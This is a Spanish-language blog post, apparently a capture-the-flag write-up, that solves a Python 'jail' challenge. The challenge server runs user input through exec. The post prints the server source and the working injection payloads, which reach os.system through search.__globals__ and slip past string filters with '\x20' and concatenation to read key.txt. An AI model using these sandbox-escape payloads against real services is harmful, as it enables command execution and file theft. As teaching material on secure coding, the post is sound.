lunes, 23 de septiembre de 2013

Writeup Misc 200. Space PyCowboy CTF Mugar2 2013 by tunelko



=== Space PyCowboy Write-Up 

1  Conectamos a la ip y puerto indicados con netcat: nc [IP] [PORT]

Por la pista del título y las entradas que metemos, cuando nos pregunta por la key podemos saber que se trata de Python. 
Intentamos injectar algo de código y utilizar "import" de módulos sin mucho éxito ya que tenemos un método en el código 'securized()' que impide esto: 

 def securized():
        UNSAFE = ['open',
         'file',
         'execfile',
         'compile',
         'reload',
         '__import__',
         'eval',
         'input']
        for func in UNSAFE:
          del __builtins__.__dict__[func]

                
En el bucle de UNSAFE anula la utilización de estas funciones. 

Vamos a ver el código completo : 
                   
#!/usr/bin/env python

# config with socat 
# Use socat to run as a listening service 
# socat TCP-LISTEN:1337,fork EXEC:./level1.py,pty,stderr

def securized():
        UNSAFE = ['open',
         'file',
         'execfile',
         'compile',
         'reload',
         '__import__',
         'eval',
         'input']
        for func in UNSAFE:
          del __builtins__.__dict__[func]


from re import search
securized()
print 'Can you read the key.txt?'
while True:
    try:
      x = search('\S+', raw_input()).group(0)
      if "key.txt" in x:
       print "Hey ! this is fun, you have to read a key.txt but i avoid this string, padawan :-)"
       exit()
      if "sudo" in x:
       print "Good try, but too dangerous !"
       exit()
      if "sh" in x:
       print "Good try, but not allowed :-)"
       exit()
      print "x=", x
      a = None
      exec 'x=' + x
      print 'you got:', a
    except Exception, e:
      print 'Exception: ', e
  

Vemos que la variable x es igual a lo que metamos en la entrada por el uso de search y pocas lineas mas tarde es ejecutado. 

x = search('\S+', raw_input()).group(0)

Ummm, no podemos hacer uso de módulo pero tenemos  __globals__, Vamos a probar:

>>>>> search.__globals__['sys']
x= search.__globals__['sys']
you got:   
                

Parece que podemos abusar de __globals__['sys'] hasta conseguir utilizar import os:


 >>>>> search.__globals__['sys'].modules['os'].system('ls')
x= search.__globals__['sys'].modules['os'].system('ls')
bin  jail.py  jail2.py  key.txt  run.sh  t.py
you got: 0
                

Vale, ahora sólo toca ejecutar el comando qeu nos vuelque el contenido del fichero, teniendo en cuenta que necesitamos concatenar y salvar espacios, porque el servicio es asi de caprichoso. 

imac:~ pedro$ nc 188.165.132.186 1337 
Can you read the key.txt?
search.__globals__['sys'].modules['os'].system('cat\x20key.txt')
Hey ! this is fun, you have to read a key.txt but i avoid this string, padawan :-)

Pedazo de ... Llegar aquí para encontrarnos con esta sorpresita, en fin, vamos a concatenar y liberar a nuestro compañero del equipo DELTA. 

imac:~ pedro$ nc 188.165.132.186 1337 
Can you read the key.txt?
search.__globals__['sys'].modules['os'].system('cat\x20ke'+'y.txt')
x= search.__globals__['sys'].modules['os'].system('cat\x20ke'+'y.txt')

key{H45_c0n539U1d0_l4_lL4V3_D3_l4_c3Ld4_C0N9r472}

También podíamos intentar sacarnos una shell, aunque el código tenía bastantes filtros para que esta posibilidad no se produjera nunca. Aunque se hubiera conseguido shell, el usuario estaba bastante 'encarcelado'. 

A mi modo de ver, esta pequeña prueba te enseña a codificar un poco mejor un servicio en python y tener en cuenta que el usuario puede aprovecharse de cualquier fisura en tu codigo. 

Tunelko




No hay comentarios:

Publicar un comentario